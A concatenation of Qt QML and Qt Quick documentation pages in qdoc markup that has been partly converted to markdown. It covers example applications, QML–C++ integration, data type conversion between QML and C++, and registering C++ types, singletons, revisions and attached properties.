`\e{Bear-Whack}` demonstrates using `\l MultiPointTouchArea` to add multiple finger support to a simple game. The interaction with the game is done through a `SpriteGoal` that follows the `TouchPoint`. The `TouchPoints` added to the `MultiPointTouchArea` are a component with the relevant logic embedded into it:

```
\snippet touchinteraction/multipointtouch/content/AugmentedTouchPoint.qml 0
```

## `\section1 Flick Resize`

\e{Flick Resize} uses a \I PinchArea to implement a \e{pinch-to-resize} behavior. This is easily achieved by listening to the PinchArea signals and responding to user input.

\snippet touchinteraction/pincharea/flickresize.qml 0

## \section1 Flickable

\e Flickable is a simple example demonstrating the \I Flickable type.

\snippet touchinteraction/flickable/basic-flickable.qml 0

## \section1 Corkboards

\e Corkboards shows another use for \I Flickable, with QML types within the flickable object that respond to mouse and keyboard interaction. This behavior does not require special code as the Qt Quick types already cooperate with the Flickable type for accepting touch events.

\title Qt Quick Examples - Views

\example views

\brief This is a collection of QML model-view examples.

\image qml-modelviews-example.png

\ingroup qtquickexamples

\e Views is a collection of small QML examples relating to model and view functionality. They demonstrate how to show data from a model using the Qt Quick view types. For more information, visit the \{Models and Views in Qt Quick} page.

\include examples-run.qdocinc

\section1 GridView and PathView

\e GridView and \e PathView demonstrate usage of these types to display views.

\snippet views/gridview/gridview-example.qml 0

\section1 Dynamic List

\e{Dynamic List} demonstrates animation of runtime additions and removals to a \l ListView.

The ListView.onAdd signal handler runs an animation when new items are added to the view, and the ListView.onRemove another when they are removed.

\snippet views/listview/dynamiclist.qml 0

\snippet views/listview/dynamiclist.qml 1

## \section2 Expanding Delegates

\e{Expanding Delegates} demonstrates delegates that expand when activated.

It has a complex delegate the size and appearance of which can change,  
displacing other items in the view.

\snippet views/listview/expandingdelegates.qml 0

\snippet views/listview/expandingdelegates.qml 1

\snippet views/listview/expandingdelegates.qml 2

\snippet views/listview/expandingdelegates.qml 3

## \section1 Highlight

\e Highlight demonstrates adding a custom highlight to a ListView.

\snippet views/listview/highlight.qml 0

## \section1 Highlight Ranges

\e{Highlight Ranges} shows the three different highlight range modes of  
ListView.

\snippet views/listview/highlightranges.qml 0

\snippet views/listview/highlightranges.qml 1

\snippet views/listview/highlightranges.qml 2

## \section1 Sections

\e Sections demonstrates the various section headers and footers available to \l ListView.

\snippet views/listview/sections.qml 0

\section1 Packages

\e Packages uses the \l Package type to transition delegates between two views.

It has a Package object which defines delegate items for each view and an item that can be transferred between delegates.

\snippet views/package/Delegate.qml 0

A \l DelegateModel allows the individual views to access their specific items from the shared package delegate.

\snippet views/package/view.qml 0

\section1 ObjectModel

\e ObjectModel uses an ObjectModel for the model instead of a \l ListModel.

\snippet views/objectmodel/objectmodel.qml 0

\section1 Display Margins

\e{Display Margins} uses delegates to display items and implements a simple header and footer components.

\title Qt Quick Examples - Window and Screen

\example window

\brief This example demonstrates the Window and Screen types in QML

\image qml-window-example.png

\ingroup qtquickexamples

\e{Window and Screen} shows how to:

\list

\li create a window in QML

\li control its \l {QQuickWindow::visibility} {visibility}

\li present a splash screen during application startup

\li access the properties of the \l Screen

\endlist

It also demonstrates how to package QML into \l {The Qt Resource System}

{resources} and provide an `\l {Setting the Application Icon} {icon}` to create a standalone QML desktop application.

```
\include examples-run.qdocinc
```

## `\section1 Window Implementation`

A splash screen can be created with the `\l {Qt::SplashScreen}` `{Qt.SplashScreen}` flag, and should be `\l {Qt::ApplicationModal}` `{ApplicationModal}` to prevent interaction with the main window. If the splash window is also transparent, and showing a partially transparent image, then it will look like a shaped window.

```
\snippet window/Splash.qml splash-properties
```

In this example a `\l Timer` will automatically dismiss the splash screen, but in a real application you might want to connect to a signal from the application logic to hide the splash when initialization is complete.

```
\snippet window/Splash.qml timer
```

The main window in this example is the control window, with some buttons and checkboxes to control and provide feedback on the state of a secondary window. Each checkbox has a binding to the property whose state it is displaying, and also an `onClicked` handler to change the state. This is the

typical pattern to create a two-way binding while avoiding binding loops.

```
\snippet window/window.qml windowedCheckbox
```

\l Screen has several properties which are generally useful to applications which need to rotate some content when the screen orientation changes, to position windows on the screen or to convert real units to logical pixel units. `ScreenInfo.qml` (which is displayed inline in `window.qml`, or can be run by itself with `qmlscene`) simply displays the property values, while the splash screen uses them to center the window on the screen.

```
\snippet window/Splash.qml screen-properties
```

If a \l Window is nested inside an \l Item or another Window, the inner window becomes \e{transient for} the outer one (see \l Window for more explanation). But if you want to create multiple top-level windows as unrelated peers, you can create them inside a non-visual \l QObject root item, as this example does.

\title Important C++ Classes Provided By The Qt QML Module

\brief Overview of the C++ classes provided by the Qt QML module

The \{Qt QML} module provides C++ classes which implement the QML framework.

Clients can use these classes to interact with the QML run-time (for example,

by injecting data or invoking methods on objects), and to instantiate a

hierarchy of objects from a QML document. The Qt QML module provides more

C++ API than just the classes listed here, however the classes listed here

provide the foundations of the QML runtime and the core concepts of QML.

\section1 QML Runtime

A typical QML application with a C++ entry-point will instantiate a QQmlEngine

and then use a QQmlComponent to load a QML document. The engine provides a

default QQmlContext which will be the top-level evaluation context used for

evaluating functions and expressions defined in the QML document.

The object hierarchy defined in the QML document will be instantiated by

calling the \{QQmlComponent::create()}{create()} function of the QQmlComponent

instance, assuming that no errors were encountered during document loading.

The client may wish to modify the `QQmlContext` provided by the engine, by injecting properties or objects into the context. They can call the `QQmlEngine::rootContext()` function to access the top-level context.

After instantiating the object, the client will usually pass control to the application event loop so that user input events (like mouse-clicks) can be delivered and handled by the application.

*\note* The Qt Quick module provides a convenience class, `QQuickView`, which provides a QML runtime and visual window for displaying a QML application.

## *\section2* The `QQmlEngine` Class

The `QQmlEngine` class provides an engine which can manage a hierarchy of objects which is defined in a QML document. It provides a root QML context within which expressions are evaluated, and ensures that properties of objects are updated correctly when required.

A `QQmlEngine` allows the configuration of global settings that apply to all of the objects it manages; for example, the `QNetworkAccessManager` to be used for network communications, and the file path to be used for persistent storage.

See the `QQmlEngine` class documentation for in-depth information about what

the `QQmlEngine` class provides, and how it can be used in an application.

## \section2 The `QQmlContext` Class

The `QQmlContext` class provides a context for object instantiation and expression evaluation. All objects are instantiated in a particular context, and all of the expressions which are evaluated while an application is running are evaluated within a particular context. This context defines how symbols are resolved, and thus which values the expression operates on.

See the `QQmlContext` class documentation for in-depth information about how to modify the evaluation context of an object by adding or removing properties of a `QQmlContext`, and how to access the context for an object.

## \section1 Dynamic Object Instantiation and Expression Evaluation

Dynamic object instantiation and dynamic expression evaluation are both core concepts in QML. QML documents define object types which can be instantiated at run-time using a `QQmlComponent`. An instance of the `QQmlComponent` class can be created in C++ directly, or via the `QtQml::Qt::createComponent()` `{Qt.createComponent()}` function in imperative QML code. Arbitrary expressions can be calculated in C++ via the `QQmlExpression` class, and such expressions can interact directly the QML context.

## \section2 The `QQmlComponent` Class

The QQmlComponent class can be used to load a QML document. It requires a QQmlEngine in order to instantiate the hierarchy of objects defined in the QML document.

See the `QQmlComponent` class documentation for in-depth information about how to use QQmlComponent.

## `\\section2 The QQmlExpression Class`

The QQmlExpression class provides a way for clients to evaluate JavaScript expressions from C++, using a particular QML evaluation context. This allows clients to access QML objects by id, for example. The result of evaluation is returned as a QVariant, and the conversion rules are defined by the QML engine.

See the `QQmlExpression` class documentation for in depth information about how to use QQmlExpression in an application.

## `\\section1 Usage of the Classes within QML Applications`

These pages describe how to create QML applications which interact with the C++ classes:

\title Integrating QML and C++

\brief Description of how to integrate QML and C++ code

QML is designed to be easily extensible through C++ code. The classes in the \l {Qt QML} module enables QML objects to be loaded and manipulated from C++, and the nature of QML engine's integration with Qt's \l {Meta Object System}{meta object system} enables C++ functionality to be invoked directly from QML. This allows the development of hybrid applications which are implemented with a mixture of QML, JavaScript and C++ code.

Integrating QML and C++ provides a variety of opportunities, including the ability to:

\list

\li Separate the user interface code from the application logic code, by implementing the former with QML and JavaScript within \l{qtqml-documents-topic.html}{QML documents}, and the latter with C++

\li Use and invoke some C++ functionality from QML (for example, to invoke your application logic, use a data model implemented in C++, or call some functions in a third-party C++ library)

\li Access functionality in the \l{Qt QML} or \l{Qt Quick} C++ API (for example, to dynamically generate images using QQuickImageProvider)

\li Implement your own \l{qtqml-typesystem-objecttypes.html}{QML object types} from C++

\unicode{0x2014} whether for use within your own specific application, or for distribution to others

\endlist

To provide some C++ data or functionality to QML, it must be made available from a QObject-derived class. Due to the QML engine's integration with the meta object system, the properties, methods and signals of any QObject-derived class are accessible from QML, as described in

\l{qtqml-cppintegration-exposecppattributes.html}{Exposing Attributes of C++ Types to QML}. Once the required functionality is provided by such a class, it can be exposed to QML in a variety of ways:

\list

\li The class can be

\l{qtqml-cppintegration-definetypes.html#registering-an-instantiable-object-type}{

registered as an instantiable QML type}, so that it can be instantiated and used like any ordinary

\l{qtqml-typesystem-objecttypes.html}{QML object type} from QML code

\li The class can be registered as a

[\{qml-cppintegration-definetypes.html#registering-singleton-objects-with-a-singleton-type}](#)

{Singleton Type} so that a single instance of the class may be imported from QML code, allowing the instance's properties, methods and signals to be accessed from QML

\li An instance of the class can be [\{qml-cppintegration-contextproperties.html}](#){embedded into QML code} as a `{context property}` or `{context object}`, allowing the instance's properties, methods and signals to be accessed from QML

\endlist

These are the most common methods of accessing C++ functionality from QML code; for more options and

details, see the main documentation pages that are described in the sections further below.

Additionally, aside from the ability to access C++ functionality from QML, the `{Qt QML}` module also provides ways to do the reverse and manipulate QML objects from C++ code. See

[\{qml-cppintegration-interactqmlfromcpp.html}](#){Interacting with QML Objects from C++} for more details.

Finally, the C++ code may be integrated into either a C++ application or a C++ plugin depending on whether it is to be distributed as a standalone application or a library. A plugin can be integrated with a QML module that can then be imported and used by QML code in other applications; see [\{qml-modules-cppplugins.html}](#){Providing Types and Functionality in a C++ Plugin} for more information.

## \section1 Exposing Attributes of C++ Classes to QML

QML can easily be extended from C++ due to the QML engine's integration with the Qt meta object

system. This integration allows the properties, methods and signals of any QObject-derived class to be accessible from QML: properties can be read and modified, methods can be invoked from JavaScript expressions and signal handlers are automatically created for signals as necessary. Additionally, enumeration values of a QObject-derived class are accessible from QML.

See [\{qtqml-cppintegration-exposecppattributes.html}](#){Exposing Attributes of C++ Types to QML} for more information.

## [\section1](#) Defining QML Types from C++

QML types can be defined in C++ and then registered with the [\{qtqml-typesystem-topic.html}](#){QML type system}. This allows a C++ class to be instantiated as a [\{QML Object Types}](#){QML object type}, enabling custom

object types to be implemented in C++ and integrated into existing QML code. A C++ class may be also registered for other purposes: for example, it could be registered as a [\e {Singleton Type}](#) to enable a single class instance to be imported by QML code, or it could be registered to enable the enumeration values of a non-instantiable class to be accessible from QML.

Additionally, the [\{Qt QML}](#) module provides mechanisms to define QML types that integrate with QML concepts like attached properties and default properties.

For more information on registering and creating custom QML types from C++, see the [\{qtqml-cppintegration-definetypes.html}](#){Defining QML Types from C++} documentation.

## \\section1 Embedding C++ Objects into QML with Context Properties

C++ objects and values can be embedded directly into the context (or \\e scope) of loaded QML objects using \\e {context properties} and \\e {context objects}. This is achieved through the `QQmlContext` class provided by the \\ {Qt QML} module, which exposes data to the context of a QML component, allowing data to be injected from C++ into QML.

See \\{qtqml-cppintegration-contextproperties.html}{Embedding C++ Objects into QML with Context Properties} for more information.

## \\section1 Interacting with QML Objects from C++

QML object types can be instantiated from C++ and inspected in order to access their properties, invoke their methods and receive their signal notifications. This is possible due to the fact that all QML object types are implemented using `QObject`-derived classes, enabling the QML engine to dynamically load and introspect objects through the Qt meta object system.

For more information on accessing QML objects from C++, see the documentation on \\{qtqml-cppintegration-interactqmlfromcpp.html}{Interacting with QML Objects from C++}.

## \\section1 Data Type Conversion Between QML and C++

When data values are exchanged between QML and C++, they are converted by the QML engine to have the

correct data types as appropriate for use from QML or C++, providing the data types involved are known to the engine.

See [\{qtqml-cppintegration-data.html\}{Data Type Conversion Between QML and C++}](#) for information on

the built-in types supported by the engine and how these types are converted for use when exchanged between QML and C++.

\title Data Type Conversion Between QML and C++

\brief Description of how data types are exchanged between QML and C++

When data values are exchanged between QML and C++, they are converted by the QML engine to have the correct data types as appropriate for use in QML or C++. This requires the exchanged data to be of a type that is recognizable by the engine.

The QML engine provides built-in support for a large number of Qt C++ data types. Additionally, custom C++ types may be registered with the QML type system to make them available to the engine.

This page discusses the data types supported by the QML engine and how they are converted between QML and C++.

## \section1 Data Ownership

When data is transferred from C++ to QML, the ownership of the data always remains with C++. The exception to this rule is when a QObject is returned from an explicit C++ method call: in this case, the QML engine assumes ownership of the object, unless the ownership of the object has explicitly been set to remain with C++ by invoking `QQmlEngine::setObjectOwnership()` with `QQmlEngine::CppOwnership` specified.

Additionally, the QML engine respects the normal QObject parent ownership semantics of Qt C++ objects, and will not ever take ownership of a QObject instance which already has a parent.

## \section1 Basic Qt Data Types

By default, QML recognizes the following Qt data types, which are automatically converted to a corresponding \l {QML Basic Types}{QML basic type} when passed from C++ to QML and vice-versa:

\table

\row

\li Qt Type

\li QML Basic Type

\row

\li bool

\li \l bool

\row

\li unsigned int, int

\li \l int

\row

\li double

\li \l double

\row

\li float, qreal

\li \l real

\row

\li QString

\li \l string

\row

\li QUrl

\li \l url

\row

\li QColor

\li \l color

\row

\li QFont

\li \l font

\row

\li QDate

\li \l date

\row

\li QPoint, QPointF

\li \l point

\row

\li QSize, QSizeF

\li \l size

\row

\li QRect, QRectF

\li \l rect

\row

\li QMatrix4x4

\li \l matrix4x4

\row

\li QQuaternion

\li \l quaternion

\row

\li QVector2D, QVector3D, QVector4D

\li \l vector2d, \l vector3d, \l vector4d

\row

- \li Enums declared with Q\_ENUMS()

- \li \l enumeration

\endtable

\note Classes provided by the \l {Qt GUI} module, such as QColor, QFont, QQuaternion and QMatrix4x4, are only available from QML when the \l {Qt Quick} module is included.

As a convenience, many of these types can be specified in QML by string values, or by a related method provided by the \l {QtQml::Qt} object. For example, the \l {Image::sourceSize} property is of type \l size (which automatically translates to the QSize type) and can be specified by a string value formatted as "width\c{x}height", or by the Qt.size() function:

\qml

Item {

    Image { sourceSize: "100x200" }

    Image { sourceSize: Qt.size(100, 200) }

}

\endqml

See documentation for each individual type under \l {QML Basic Types} for more information.

## \section1 QObject-derived Types

Any QObject-derived class may be used as a type for the exchange of data between QML and C++, providing the class has been registered with the QML type system.

The engine allows the registration of both instantiable and non-instantiable types. Once a class is registered as a QML type, it can be used as a data type for exchanging data between QML and C++. See

[\{qtqml-cppintegration-definetypes.html#registering-c++-types-with-the-qml-type-system}](#){Registering C++ types with the QML type system} for further details on type registration.

## \section1 Conversion Between Qt and JavaScript Types

The QML engine has built-in support for converting a number of Qt types to related JavaScript types, and vice-versa, when transferring data between QML and C++. This makes it possible to use these types and receive them in C++ or JavaScript without needing to implement custom types that provide access to the data values and their attributes.

(Note that the JavaScript environment in QML modifies native JavaScript object prototypes, including those of `String`, `Date` and `Number`, to provide additional features. See the [\{qtqml-javascript-hostenvironment.html}](#){JavaScript Host Environment} for further details.)

## \section2 QVariantList and QVariantMap to JavaScript Array and Object

The QML engine provides automatic type conversion between QVariantList and JavaScript arrays, and between QVariantMap and JavaScript objects.

For example, the function defined in QML below left expects two arguments, an array and an object, and prints their contents using the standard JavaScript syntax for array and object item access. The C++ code below right calls this function, passing a QVariantList and a QVariantMap, which are automatically converted to JavaScript array and object values, respectively:

```
\table
\header
\row
\li \snippet qml/qtbinding/variantlistmap/MyItem.qml 0
\li \snippet qml/qtbinding/variantlistmap/main.cpp 0
\endtable
```

This produces output like:

```
\code
Array item: 10
Array item: #00ff00
Array item: bottles
Object item: language = QML
```

Object item: released = Tue Sep 21 2010 00:00:00 GMT+1000 (EST)

\endcode

Similarly, if a C++ type uses a QVariantList or QVariantMap type for a property type or method parameter, the value can be created as a JavaScript array or object in QML, and is automatically converted to a QVariantList or QVariantMap when it is passed to C++.

## \section2 QDateTime to JavaScript Date

The QML engine provides automatic type conversion between QDateTime values and JavaScript \c Date objects.

For example, the function defined in QML below left expects a JavaScript \c Date object, and also returns a new \c Date object with the current date and time. The C++ code below right calls this function, passing a QDateTime value that is automatically converted by the engine into a \c Date object when it is passed to the \c readDate() function. In turn, the readDate() function returns a \c Date object that is automatically converted into a QDateTime value when it is received in C++:

\table

\header

\row

```
\li
```

```
\qml
```

```
// MyItem.qml
```

```
Item {
```

```
    function readDate(dt) {
```

```
        console.log("The given date is:", dt.toUTCString());
```

```
        return new Date();
```

```
    }
```

```
}
```

```
\endqml
```

```
\li
```

```
\code
```

```
// C++
```

```
QQuickView view(QUrl::fromLocalFile("MyItem.qml"));
```

```
QDateTime dateTime = QDateTime::currentDateTime();
```

```
QDateTime retValue;
```

```
QMetaObject::invokeMethod(view.rootObject(), "readDate",
```

```
    Q_RETURN_ARG(QVariant, retValue),
```

```
    Q_ARG(QVariant, QVariant::fromValue(dateTime)));
```

```
qDebug() << "Value returned from readDate():" << retValue;
```

\endcode

\endtable

Similarly, if a C++ type uses a QDateTime for a property type or method parameter, the value can be created as a JavaScript \c Date object in QML, and is automatically converted to a QDateTime value when it is passed to C++.

## \section2 Sequence Type to JavaScript Array

Certain C++ sequence types are supported transparently in QML as JavaScript \c Array types.

In particular, QML currently supports:

\list

\li \c {QList<int>}

\li \c {QList<qreal>}

\li \c {QList<bool>}

\li \c {QList<QString>} and \c {QStringList}

\li \c {QList<QUrl>}

\endlist

These sequence types are implemented directly in terms of the underlying C++ sequence. There are two ways in which such sequences can be exposed to QML:

as a `Q_PROPERTY` of the given sequence type; or as the return type of a `Q_INVOKABLE` method. There are some differences in the way these are implemented, which are important to note.

If the sequence is exposed as a `Q_PROPERTY`, accessing any value in the sequence by index will cause the sequence data to be read from the `QObject`'s property, then a read to occur. Similarly, modifying any value in the sequence will cause the sequence data to be read, and then the modification will be performed and the modified sequence will be written back to the `QObject`'s property.

If the sequence is returned from a `Q_INVOKABLE` function, access and mutation is much cheaper, as no `QObject` property read or write occurs; instead, the C++ sequence data is accessed and modified directly.

Other sequence types are not supported transparently, and instead an instance of any other sequence type will be passed between QML and C++ as an opaque `QVariantList`.

\b {Important Note:} There are some minor differences between the semantics of such sequence Array types and default JavaScript Array types which result from the use of a C++ storage type in the implementation. In particular, deleting an element from an Array will result in a default-constructed value replacing that element, rather than an Undefined value. Similarly, setting the length property of the Array to a value larger

than its current value will result in the Array being padded out to the specified length with default-constructed elements rather than Undefined elements. Finally, the Qt container classes support signed (rather than unsigned) integer indexes; thus, attempting to access any index greater than INT\_MAX will fail.

The default-constructed values for each sequence type are as follows:

\table	
\row \li QList<int>	\li integer value 0
\row \li QList<qreal>	\li real value 0.0
\row \li QList<bool>	\li boolean value \c {false}
\row \li QList<QString> and QStringList	\li empty QString
\row \li QList<QUrl>	\li empty QUrl
\endtable	

If you wish to remove elements from a sequence rather than simply replace them with default constructed values, do not use the indexed delete operator ("delete sequence[i]") but instead use the \c {splice} function ("sequence.splice(startIndex, deleteCount)").

## \section1 Enumeration Types

To use a custom enumeration as a data type, its class must be registered and the enumeration must also be declared with Q\_ENUMS() to register it with Qt's

meta object system. For example, the `Message` class below has a `Status`

enum:

`\code`

```
class Message : public QObject
```

```
{
```

```
    Q_OBJECT
```

```
    Q_ENUMS(Status)
```

```
    Q_PROPERTY(Status status READ status NOTIFY statusChanged)
```

```
public:
```

```
    enum Status {
```

```
        Ready,
```

```
        Loading,
```

```
        Error
```

```
    };
```

```
    Status status() const;
```

```
signals:
```

```
    void statusChanged();
```

```
};
```

`\endcode`

Providing the `Message` class has been

[\{qtqml-cppintegration-definetypes.html#registering-c++-types-with-the-qml-type-system}](#){registered}  
with the QML type system, its `Status` enum can be used from QML:

`\qml`

```

Message {
    onStatusChanged: {
        if (status == Message.Ready)
            console.log("Message is loaded!")
    }
}
\endqml

```

\note The names of enum values must begin with a capital letter in order to be accessible from QML.

## \section2 Enumeration Types as Signal and Method Parameters

C++ signals and methods with enumeration-type parameters can be used from QML provided that the enumeration and the signal or method are both declared within the same class, or that the enumeration value is one of those declared in the `\l {Qt}{Qt Namespace}`.

Additionally, if a C++ signal with an enum parameter should be connectable to a QML function using the `\l {qtqml-syntax-signals.html#connecting-signals-to-methods-and-signals}{connect()}` function, the enum type must be registered using `qRegisterMetaType()`.

For QML signals, enum values may be passed as signal parameters using the `\c int`

type:

\qml

```
Message {  
    signal someOtherSignal(int statusValue)  
  
    Component.onCompleted: {  
        someOtherSignal(Message.Loading)  
    }  
}
```

\endqml

\title Defining QML Types from C++

\brief Description of ways to define QML object types from C++ code

When extending QML with C++ code, a C++ class can be registered with the QML  
type system to enable the class to be used as a data type within QML code.  
While the properties, methods and signals of any QObject-derived class are  
accessible from QML, as discussed in \{[qtqml-cppintegration-exposecppattributes.html](#)\}  
{Exposing Attributes of C++ Types to QML}, such a class cannot be used as a

data type from QML until it is registered with the type system. Additionally registration can provide other features, such as allowing a class to be used as an instantiable [\{qtqml-typesystem-objecttypes.html\}](http://qtqml-typesystem-objecttypes.html) {QML object type} from QML, or enabling a singleton instance of the class to be imported and used from QML.

Additionally, the `\l {Qt QML}` module provides mechanisms for implementing QML-specific features such as `\e{attached properties}` and `\e{default properties}` in C++.

(Note that a number of the important concepts covered in this document are demonstrated in the `\l{Writing QML Extensions with C++}` tutorial.)

## `\section1` Registering C++ Types with the QML Type System

A `QObject`-derived class can be registered with the QML type system to enable the type to be used as a data type from within QML code.

The engine allows the registration of both instantiable and non-instantiable types. Registering an instantiable type enables a C++ class to be used as the definition of a QML object type, allowing it to be used in object declarations from QML code to create objects of this type. Registration also provides the engine with additional type metadata, enabling the type (and any enums declared by the class) to be used as a data type for property values, method parameters and return values, and signal parameters that are exchanged between

QML and C++.

Registering a non-instantiable type also registers the class as a data type in this manner, but the type cannot be used instantiated as a QML object type from QML. This is useful, for example, if a type has enums that should be exposed to QML but the type itself should not be instantiable.

## 2 Registering an Instantiable Object Type

Any QObject-derived C++ class can be registered as the definition of a QML object type. Once a class is registered with the QML type system, the class can be declared and instantiated like any other object type from QML code. Once created, a class instance can be manipulated from QML; as [Exposing Attributes of C++ Types to QML](#) explains, the properties, methods and signals of any QObject-derived class are accessible from QML code.

To register a QObject-derived class as an instantiable QML object type, call `qmlRegisterType()` to register the class as QML type into a particular type namespace. Clients can then import that namespace in order to use the type.

For example, suppose there is a `Message` class with `author` and `creationDate` properties:

\code

```
class Message : public QObject
```

```
{
```

```
    Q_OBJECT
```

```
    Q_PROPERTY(QString author READ author WRITE setAuthor NOTIFY authorChanged)
```

```
    Q_PROPERTY(QDateTime creationDate READ creationDate WRITE setCreationDate NOTIFY  
creationDateChanged)
```

```
public:
```

```
    // ...
```

```
};
```

\endcode

This type can be registered by calling `qmlRegisterType()` with an appropriate type namespace and version number. For example, to make the type available in the `\c com.mycompany.messaging` namespace with version 1.0:

\code

```
qmlRegisterType<Message>("com.mycompany.messaging", 1, 0, "Message");
```

\endcode

The type can be used in an `\{qtqml-syntax-basics.html#object-declarations}` {object declaration} from QML, and its properties can be read and written to, as per the example below:

\qml

```
import com.mycompany.messaging 1.0
```

```
Message {  
    author: "Amelie"  
    creationDate: new Date()  
}  
\endqml
```

## `\section2` Registering Non-Instantiable Types

Sometimes a QObject-derived class may need to be registered with the QML type system but not as an instantiable type. For example, this is the case if a C++ class:

```
\list
```

```
\li is an interface type that should not be instantiable
```

```
\li is a base class type that does not need to be exposed to QML
```

```
\li declares some enum that should be accessible from QML, but otherwise should not be instantiable
```

```
\li is a type that should be provided to QML through a singleton instance, and should not be instantiable from QML
```

```
\endlist
```

The `\l {Qt QML}` module provides several methods for registering non-instantiable

types:

\list

\li qmlRegisterType() (with no parameters) registers a C++ type that is not instantiable and cannot be referred to from QML. This enables the engine to coerce any inherited types that are instantiable from QML.

\li qmlRegisterInterface() registers a Qt interface type with a specific QML type name. The type is not instantiable from QML but can be referred to by its type name.

\li qmlRegisterUncreatableType() registers a named C++ type that is not instantiable but should be identifiable as a type to the QML type system. This is useful if a type's enums or attached properties should be accessible from QML but the type itself should not be instantiable.

\li qmlRegisterSingletonType() registers a singleton type that can be imported from QML, as discussed below.

\endlist

Note that all C++ types registered with the QML type system must be QObject-derived, even if they are non-instantiable.

### \section3 Registering Singleton Objects with a Singleton Type

A singleton type enables properties, signals and methods to be exposed in a namespace without requiring the client to manually instantiate an

object instance. QObject singleton types in particular are an efficient and convenient way to provide functionality or global property values.

Note that singleton types do not have an associated QQmlContext as they are shared across all contexts in an engine. QObject singleton type instances are constructed and owned by the QQmlEngine, and will be destroyed when the engine is destroyed.

A QObject singleton type can be interacted with in a manner similar to any other QObject or instantiated type, except that only one (engine constructed and owned) instance will exist, and it must be referenced by type name rather than id. Q\_PROPERTYs of QObject singleton types may be bound to, and Q\_INVOKABLE functions of QObject module APIs may be used in signal handler expressions. This makes singleton types an ideal way to implement styling or theming, and they can also be used instead of ".pragma library" script imports to store global state or to provide global functionality.

Once registered, a QObject singleton type may be imported and used like any other QObject instance exposed to QML. The following example assumes that a QObject singleton type was registered into the "MyThemeModule" namespace with version 1.0, where that QObject has a QColor "color" Q\_PROPERTY:

```
\qml
```

```
import MyThemeModule 1.0 as Theme
```

```
Rectangle {  
    color: Theme.color // binding.  
}  
  
\endqml
```

A `QJSValue` may also be exposed as a singleton type, however clients should be aware that properties of such a singleton type cannot be bound to.

See `\qmlRegisterSingletonType()` for more information on how implement and register a new singleton type, and how to use an existing singleton type.

## `\section2` Type Revisions and Versions

Many of the type registration functions require versions to be specified for the registered type. Type revisions and versions allow new properties or methods to exist in the new version while remaining compatible with previous versions.

Consider these two QML files:

```
\code  
  
// main.qml  
  
import QtQuick 1.0  
  
Item {
```

```
id: root

MyType {}

}

\endcode
```

```
\code

// MyType.qml

import MyTypes 1.0

CppType {
    value: root.x
}

\endcode
```

where `\c CppType` maps to the C++ class `\c CppType`.

If the author of `CppType` adds a `\c root` property to `CppType` in a new version of their type definition, `\c root.x` now resolves to a different value because `\c root` is also the `\c id` of the top level component. The author could specify that the new `\c root` property is available from a specific minor version. This permits new properties and features to be added to existing types without breaking existing programs.

The `REVISION` tag is used to mark the `\c root` property as added in revision 1 of the type. Methods such as `Q_INVOKABLE`'s, signals and slots can also be

tagged for a revision using the `\c Q_REVISION(x)` macro:

`\code`

```
class CppType : public BaseType
```

```
{
```

```
    Q_OBJECT
```

```
    Q_PROPERTY(int root READ root WRITE setRoot NOTIFY rootChanged REVISION 1)
```

signals:

```
    Q_REVISION(1) void rootChanged();
```

```
};
```

`\endcode`

To register the new class revision to a particular version the following function is used:

`\code`

```
template<typename T, int metaObjectRevision>
```

```
int qmlRegisterType(const char *uri, int versionMajor, int versionMinor, const char *qmlName)
```

`\endcode`

To register `\c CppType` version 1 for `\c {MyTypes 1.1}`:

`\code`

```
qmlRegisterType<CppType,1>("MyTypes", 1, 1, "CppType")
```

`\endcode`

`\c root` is only available when `\c MyTypes version 1.1` is imported.

For the same reason, new types introduced in later versions should use the minor version argument of `qmlRegisterType`.

This feature of the language allows for behavioural changes to be made without breaking existing applications. Consequently QML module authors should always remember to document what changed between minor versions, and QML module users should check that their application still runs correctly before deploying an updated import statement.

You may also register the revision of a base class that your type depends upon using the `qmlRegisterRevision()` function:

`\code`

```
template<typename T, int metaObjectRevision>
```

```
int qmlRegisterRevision(const char *uri, int versionMajor, int versionMinor)
```

```
template<typename T, int metaObjectRevision>
```

```
int qmlRegisterUncreatableType(const char *uri, int versionMajor, int versionMinor, const char  
*qmlName, const QString& reason)
```

`\endcode`

For example, if `\c BaseType` is changed and now has a revision 1, you can

specify that your type uses the new revision:

```
\code
```

```
qmlRegisterRevision<BaseType,1>("MyTypes", 1, 1);
```

```
\endcode
```

This is useful when deriving from base classes provided by other authors, e.g. when extending classes from the Qt Quick module.

```
\section1 Defining QML-Specific Types and Attributes
```

```
\section2 Providing Attached Objects for Data Annotations
```

In the QML language syntax, there is a notion of `{Attached properties and attached signal handlers}`, which are additional attributes that are attached to an object.

Essentially, such attributes are implemented and provided by an `{attaching type}`, and these attributes may be attached to an object of another type.

This contrasts with ordinary object properties which are provided by the object type itself (or the object's inherited type).

For example, the `Item` below uses attached properties and attached handlers:

```

\qml
import QtQuick 2.0

Item {
    width: 100; height: 100

    focus: true

    Keys.enabled: false

    Keys.onReturnPressed: console.log("Return key was pressed")
}
\endqml

```

Here, the `\l Item` object is able to access and set the values of `\c Keys.enabled` and `\c Keys.onReturnPressed`. This allows the `\l Item` object to access these extra attributes as an extension to its own existing attributes.

### \section3 Steps for Implementing Attached Objects

When considering the above example, there are several parties involved:

\list

- \li There is an instance of an anonymous `\e {attached object type}`, with an `\c enabled` and a `\c returnPressed` signal, that has been attached to the `\l Item` object to enable it to access and set these attributes.

- \li The `\l Item` object is the `\e {attachee}`, to which the instance of the `\e`

{attached object type} has been attached.

\li \l Keys is the \e {attaching type}, which provides the \e {attachee} with a named qualifier, "Keys", through which it may access the attributes of the \e {attached object type}.

\endlist

When the QML engine processes this code, it creates a single instance of the \e {attached object type} and attaches this instance to the \l Item object, thereby providing it with access to the \c enabled and \c returnPressed attributes of the instance.

The mechanisms for providing attached objects can be implemented from C++ by providing classes for the \e {attached object type} and \e {attaching type}.

For the \e {attached object type}, provide a QObject-derived class that defines the attributes to be made accessible to \e attachee objects. For the

\e {attaching type}, provide a QObject-derived class that:

\list

\li implements a static qmlAttachedProperties() with the following signature:

\code

```
static <AttachedPropertiesType> *qmlAttachedProperties(QObject *object);
```

\endcode

This method should return an instance of the \e {attached object type}.

The QML engine invokes this method in order to attach an instance of the attached object type to the `\e` attachee specified by the `\c` object parameter. It is customary, though not strictly required, for this method implementation to parent the returned instance to `\c` object in order to prevent memory leaks.

This method is called at most once by the engine for each attachee object instance, as the engine caches the returned instance pointer for subsequent attached property accesses. Consequently the attachment object may not be deleted until the attachee `\c` object is destroyed.

`\li` is declared as an attaching type, by calling the `QML_DECLARE_TYPEINFO()` macro with the `QML_HAS_ATTACHED_PROPERTIES` flag

`\endlist`

